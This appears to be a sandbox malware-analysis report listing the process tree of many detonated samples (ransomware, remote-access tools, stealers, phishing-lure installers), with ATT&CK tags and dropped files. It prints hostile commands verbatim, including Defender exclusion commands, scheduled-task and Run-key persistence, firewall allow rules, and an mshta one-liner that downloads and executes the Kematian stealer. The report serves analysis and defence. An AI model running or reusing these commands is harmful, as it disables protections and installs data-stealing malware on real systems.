C:\Windows\system32\a\RustMe.exeRustMe.exe3⤵
-
-
C:\Windows\system32\a\123.exe123.exe3⤵
-
-
C:\Windows\system32\a\namu864.exenamu864.exe3⤵
-
-
C:\Windows\system32\a\namuvpnxp.exenamuvpnxp.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File networke.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\Pjibf.exePjibf.exe3⤵
-
-
C:\Windows\system32\a\whatever.exewhatever.exe3⤵
-
-
C:\Windows\system32\a\steamcmd.exesteamcmd.exe3⤵
-
-
C:\Windows\system32\a\IMG001.exeIMG001.exe3⤵
-
-
C:\Windows\system32\a\VC_redist.x64.exeVC_redist.x64.exe3⤵
-
-
C:\Windows\system32\a\GMSSetupX86.exeGMSSetupX86.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c WindowsLogonService.bat3⤵
-
-
C:\Windows\system32\a\Windows.x64.silent.CPU.exeWindows.x64.silent.CPU.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\system32\a\Windows.x64.silent.CPU.exe"4⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Windows\system32\WindowsUpdate64.exe"5⤵
-
C:\Windows\system32\WindowsUpdate64.exeC:\Windows\system32\WindowsUpdate64.exe6⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\system32\WindowsUpdate64.exe"7⤵
-
-
-
-
-
-
C:\Windows\system32\a\cummersMG.execummersMG.exe3⤵
-
-
C:\Windows\system32\a\bot.exebot.exe3⤵
-
-
C:\Windows\system32\a\chrome_update.exechrome_update.exe3⤵
-
-
C:\Windows\system32\a\sunwukongs.exesunwukongs.exe3⤵
-
-
C:\Windows\system32\a\dajoke2.exedajoke2.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
-
C:\Windows\system32\a\chrome_update.exechrome_update.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File cheekpieceGAR.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\GARO%20X.exeGARO%20X.exe3⤵
-
-
C:\Windows\system32\a\AutoIt3.exeAutoIt3.exe3⤵
-
-
C:\Windows\system32\a\lol.exelol.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11240 -s 1604⤵
- Program crash
-
-
-
C:\Windows\system32\a\4J8576A0E8V3.exe4J8576A0E8V3.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
-
C:\Windows\system32\a\RustMeDebyg.exeRustMeDebyg.exe3⤵
-
-
C:\Windows\system32\a\conhost.execonhost.exe3⤵
-
-
C:\Windows\system32\a\fscan32.exefscan32.exe3⤵
-
-
C:\Windows\system32\a\3Armyeu.exe3Armyeu.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\lwflif'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\a\lol11.exelol11.exe3⤵
-
-
C:\Windows\system32\a\tlp.exetlp.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11184 -s 1604⤵
- Program crash
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i dev.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\1210.exe1210.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9456 -s 1564⤵
- Program crash
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c update0.bat3⤵
-
C:\Windows\system32\chcp.comchcp.com 4374⤵
-
-
-
C:\Windows\system32\a\123123.exe123123.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File trapapO.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\lol1.exelol1.exe3⤵
-
-
C:\Windows\system32\a\build.exebuild.exe3⤵
-
-
C:\Windows\system32\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
C:\Windows\system32\a\1488.exe1488.exe3⤵
-
C:\Windows\system32\a\1488.exe"C:\Windows\system32\a\1488.exe"4⤵
-
-
-
C:\Windows\system32\a\chrome_134.exechrome_134.exe3⤵
-
-
C:\Windows\system32\a\ShellHost.exeShellHost.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\a\randll32.exerandll32.exe3⤵
-
-
C:\Windows\system32\a\live-013-0512.exelive-013-0512.exe3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C tar -xf "C:\Users\Admin\AppData\Roaming\ahk.zip" -C "C:\Users\Admin\AppData\Roaming"4⤵
-
C:\Windows\system32\tar.exetar -xf "C:\Users\Admin\AppData\Roaming\ahk.zip" -C "C:\Users\Admin\AppData\Roaming"5⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C del C:\Users\Admin\AppData\Roaming\ahk.zip4⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C cd "C:\Users\Admin\AppData\Roaming\AutoHotkey_1.1.33" && AutoHotkeyU64.exe ClipboardManager.ahk4⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ping localhost -n 2 > nul & del "C:\Windows\system32\a\live-013-0512.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\system32\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe3⤵
-
-
C:\Windows\system32\a\chrome_update_old.exechrome_update_old.exe3⤵
-
-
C:\Windows\system32\a\RedX_Setup.exeRedX_Setup.exe3⤵
-
C:\Windows\system32\a\RedX_Setup.exeC:\Windows\system32\a\RedX_Setup.exe4⤵
-
-
-
C:\Windows\system32\a\agent.exeagent.exe3⤵
-
-
C:\Windows\system32\a\fastping_silent_v4.exefastping_silent_v4.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\system32\a\better.exebetter.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl api.ezilax.com4⤵
-
C:\Windows\system32\curl.execurl api.ezilax.com5⤵
-
-
-
-
C:\Windows\system32\a\WindowsUpdate.exeWindowsUpdate.exe3⤵
-
-
C:\Windows\system32\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13132 -s 9844⤵
- Program crash
-
-
-
C:\Windows\system32\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13160 -s 10084⤵
- Program crash
-
-
-
C:\Windows\system32\a\ZJQPPAJN.exeZJQPPAJN.exe3⤵
-
-
C:\Windows\system32\a\ScreenConnect.ClientSetup.exeScreenConnect.ClientSetup.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13236 -s 9804⤵
- Program crash
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\Pinaview.exePinaview.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
-
C:\Windows\system32\a\RuntimeBroker.exeRuntimeBroker.exe3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "netsh advfirewall firewall show rule name=\"RuntimeBroker\""4⤵
- System Time Discovery
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name=\"RuntimeBroker\"5⤵
- Modifies Windows Firewall
- System Time Discovery
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "netsh advfirewall firewall add rule name=\"RuntimeBroker\" dir=in action=allow program=\"C:\Windows\system32\a\RuntimeBroker.exe\" enable=yes profile=any"4⤵
- System Time Discovery
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approved%20Document%23D53LU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
C:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Windows\system32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Windows\system32\a\main.exemain.exe3⤵
-
C:\Windows\system32\a\main.exemain.exe4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe task.vbs3⤵
-
-
C:\Windows\system32\a\Rsvp_invite%23903388.exeRsvp_invite%23903388.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Lapce-windows.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\file_2e4e1082336e95de.exefile_2e4e1082336e95de.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Ref62535.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File kematian_shellcode.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\CryptoWall.exeCryptoWall.exe3⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"4⤵
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs5⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File main.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\a\CryptoLocker.exeCryptoLocker.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\21.exe21.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i SSA_Statement.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\delfino-g3.exedelfino-g3.exe3⤵
-
-
C:\Windows\system32\a\Prolin.exeProlin.exe3⤵
-
-
C:\Windows\system32\a\View.exeView.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c Worm.bat3⤵
-
C:\Windows\system32\reg.exereg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\Worm.bat /f4⤵
- Modifies registry key
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c main.bat3⤵
-
C:\Windows\system32\net.exenet session4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
-
-
-
C:\Windows\system32\mshta.exemshta vbscript:close(createobject("wscript.shell").run("powershell $ProgressPreference = 'SilentlyContinue';$webhook = 'YOUR_URL_HERE_SERVER';$debug = $false;$vm_protect = $false;$encryption_key = 'YOUR_ENC_KEY_HERE';$blockhostsfile = $false;$criticalprocess = $false;$melt = $false;$fakeerror = $false;$persistence = $false;$write_disk_only = $false;$record_mic = $false;$webcam = $false;Iwr -Uri 'https://github.com/Pirate-Devs/Kematian/raw/main/frontend-src/main.ps1' -USeB | iex",0))4⤵
-
-
-
C:\Windows\system32\a\rod_en_1.exerod_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE /PARENT-INST4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DODM5.tmp\is-8O866.tmp"C:\Users\Admin\AppData\Local\Temp\is-DODM5.tmp\is-8O866.tmp" /SL4 $4050C "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\RMO_SE~2.EXE" 766219 51712 /PARENT-INST5⤵
-
-
-
-
C:\Windows\system32\a\rmd_en_1.exermd_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\setup.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\setup.exe /PARENT-INST4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6M0RP.tmp\is-R20J1.tmp"C:\Users\Admin\AppData\Local\Temp\is-6M0RP.tmp\is-R20J1.tmp" /SL4 $306E0 "C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\setup.exe" 749088 51712 /PARENT-INST5⤵
-
-
-
-
C:\Windows\system32\a\rxd_en_1.exerxd_en_1.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\REXCEL~1.EXEC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\REXCEL~1.EXE4⤵
-
-
-
C:\Windows\system32\a\cd4.execd4.exe3⤵
-
-
C:\Windows\system32\a\services.exeservices.exe3⤵
-
-
C:\Windows\system32\a\sgn.exesgn.exe3⤵
-
-
C:\Windows\system32\a\ClassTicket.exeClassTicket.exe3⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 11240 -ip 112401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 9456 -ip 94561⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 11184 -ip 111841⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0F57F4D8A0FC2894C7B7AAECE96F55D6 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI3FBA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240817078 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F54F243C93D473B5BBEA58CBA632289D C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI92DB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240835671 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 13132 -ip 131321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 13236 -ip 132361⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 13160 -ip 131601⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exeC:\Users\Admin\AppData\Roaming\SubDir\updater.exe1⤵
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\CentraStage\CagService.exe"C:\Program Files (x86)\CentraStage\CagService.exe"1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\CorpUpdates\UpdateWatcher.cmd" /min1⤵
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "CorpUpdateWatcher" /F2⤵
-
-
C:\ProgramData\VAL-VIP.exeC:\ProgramData\VAL-VIP.exe1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"1⤵
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Window
1Impair Defenses
1Disable or Modify System Firewall
1Indicator Removal
1File Deletion
1Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
Gui.exe
VAL-VIP.exe
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
UpdateWatcher.cmd
VAL-VIP.exe.log
Tmp213A.tmp
INSTALLER
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp313-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.dll
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
LICENSE
LICENSE.APACHE
__PSScriptPolicyTest_t5dnebzo.1iu.ps1
4J8576A0E8V3.exe
Pulsar-Client.exe
RedX_Setup.exe
hey.exe
_shfoldr.dll
SimpleFC.dll
SimpleSC.dll
nsProcess.dll
nsSCM.dll
nsisXML.dll
euc-cn.enc
590aee7bdd69b59b.customDestinations-ms
svchost.exe
02.08.2022.exe
02.08.2022.exe
Silentum_Spoofer.exe
TempSpoofer.exe
setup.msi
cache.txt
cache.txt
cache.txt
cache.txt
cache.txt
cache.txt
cache.txt
cache.txt
stub_debug.log
memory/1836-489-0x0000000070180000-0x000000007022A000-memory.dmp
memory/2656-232-0x0000000140000000-0x0000000140004278-memory.dmp
memory/3008-209-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-208-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-210-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-211-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-212-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-213-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-214-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-203-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-202-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3008-201-0x000001C0BC820000-0x000001C0BC821000-memory.dmp
memory/3256-638-0x00007FF684DA0000-0x00007FF684DC4000-memory.dmp
memory/3404-228-0x00000000003E0000-0x00000000003FA000-memory.dmp
memory/4148-536-0x0000000070180000-0x000000007022A000-memory.dmp
memory/5240-639-0x000002973D2E0000-0x000002973DDA2000-memory.dmp
memory/5240-246-0x0000029756120000-0x0000029756142000-memory.dmp
memory/5240-1064-0x000002973D2E0000-0x000002973DDA2000-memory.dmp
memory/5240-875-0x000002973D2E0000-0x000002973DDA2000-memory.dmp
memory/5240-775-0x000002973D2E0000-0x000002973DDA2000-memory.dmp
memory/5240-2052-0x000002973D2E0000-0x000002973DDA2000-memory.dmp
memory/5240-965-0x000002973D2E0000-0x000002973DDA2000-memory.dmp
memory/5568-1065-0x00000181B4430000-0x00000181B4EF2000-memory.dmp
memory/5568-2053-0x00000181B4430000-0x00000181B4EF2000-memory.dmp
memory/5568-966-0x00000181B4430000-0x00000181B4EF2000-memory.dmp
memory/5568-876-0x00000181B4430000-0x00000181B4EF2000-memory.dmp
memory/5568-656-0x00000181B4430000-0x00000181B4EF2000-memory.dmp
memory/5568-776-0x00000181B4430000-0x00000181B4EF2000-memory.dmp
memory/5568-2204-0x00000181B4430000-0x00000181B4EF2000-memory.dmp
memory/5612-3371-0x000000001DF90000-0x000000001DFAC000-memory.dmp
memory/5612-313-0x00000000000E0000-0x00000000000F0000-memory.dmp
memory/5628-1017-0x00007FFCB7A80000-0x00007FFCB7C89000-memory.dmp
memory/5652-263-0x000002AA5FBD0000-0x000002AA5FBDC000-memory.dmp
memory/5984-973-0x0000021AF38F0000-0x0000021AF3928000-memory.dmp
memory/6096-695-0x0000000140000000-0x000000014076D000-memory.dmp
memory/6096-465-0x0000000140000000-0x000000014076D000-memory.dmp
memory/6108-297-0x0000000140000000-0x0000000140005260-memory.dmp
memory/6192-796-0x0000000004E60000-0x0000000004F38000-memory.dmp
memory/6192-773-0x00000000002C0000-0x0000000000354000-memory.dmp
memory/6192-788-0x0000000004DE0000-0x0000000004E5C000-memory.dmp
memory/6260-461-0x0000000000AC0000-0x0000000000AD4000-memory.dmp
memory/6268-460-0x00000000001E0000-0x00000000001F6000-memory.dmp
memory/6448-937-0x00000197F1510000-0x00000197F1FD2000-memory.dmp
memory/6448-2062-0x00000197F1510000-0x00000197F1FD2000-memory.dmp
memory/6448-901-0x00000197F1510000-0x00000197F1FD2000-memory.dmp
memory/6448-2205-0x00000197F1510000-0x00000197F1FD2000-memory.dmp
memory/6448-1082-0x00000197F1510000-0x00000197F1FD2000-memory.dmp
memory/6448-967-0x00000197F1510000-0x00000197F1FD2000-memory.dmp
memory/6464-938-0x000002A9A80C0000-0x000002A9A8B82000-memory.dmp
memory/6464-2063-0x000002A9A80C0000-0x000002A9A8B82000-memory.dmp
memory/6464-1083-0x000002A9A80C0000-0x000002A9A8B82000-memory.dmp
memory/6464-921-0x000002A9A80C0000-0x000002A9A8B82000-memory.dmp
memory/6464-974-0x000002A9A80C0000-0x000002A9A8B82000-memory.dmp
memory/6772-936-0x000002052BAB0000-0x000002052BAB1000-memory.dmp
memory/6772-784-0x000002052B320000-0x000002052B688000-memory.dmp
memory/6884-2209-0x00007FF6ADCF0000-0x00007FF6ADD14000-memory.dmp
memory/6900-650-0x0000000000A80000-0x0000000000AB5000-memory.dmp
memory/6900-664-0x0000000001000000-0x0000000001472000-memory.dmp
memory/6948-549-0x0000000000C00000-0x0000000000C10000-memory.dmp
memory/6960-535-0x00000270814F0000-0x000002708164A000-memory.dmp
memory/7004-2467-0x0000000000400000-0x000000000041E000-memory.dmp
memory/7004-537-0x0000000000400000-0x000000000041E000-memory.dmp
memory/7276-3925-0x0000000000180000-0x0000000001C7A000-memory.dmp
memory/7276-1020-0x0000000000180000-0x0000000001C7A000-memory.dmp
memory/7328-512-0x00000000008C0000-0x00000000008D4000-memory.dmp
memory/7440-513-0x0000026F59F60000-0x0000026F59F88000-memory.dmp
memory/7440-617-0x0000026F747A0000-0x0000026F7485A000-memory.dmp
memory/7580-781-0x0000000140000000-0x000000014076D000-memory.dmp
memory/7580-604-0x0000000140000000-0x000000014076D000-memory.dmp
memory/7592-2373-0x0000022940510000-0x000002294051A000-memory.dmp
memory/7592-2286-0x0000022940520000-0x000002294053C000-memory.dmp
memory/7592-2287-0x0000022940790000-0x0000022940843000-memory.dmp
memory/7748-698-0x000002AA95BA0000-0x000002AA95C94000-memory.dmp
memory/7748-732-0x000002AA96150000-0x000002AA96184000-memory.dmp
memory/7824-914-0x0000000005610000-0x0000000005676000-memory.dmp
memory/7824-804-0x00000000052D0000-0x000000000531C000-memory.dmp
memory/7824-778-0x0000000004FB0000-0x0000000005022000-memory.dmp
memory/7824-699-0x0000000000620000-0x0000000000688000-memory.dmp
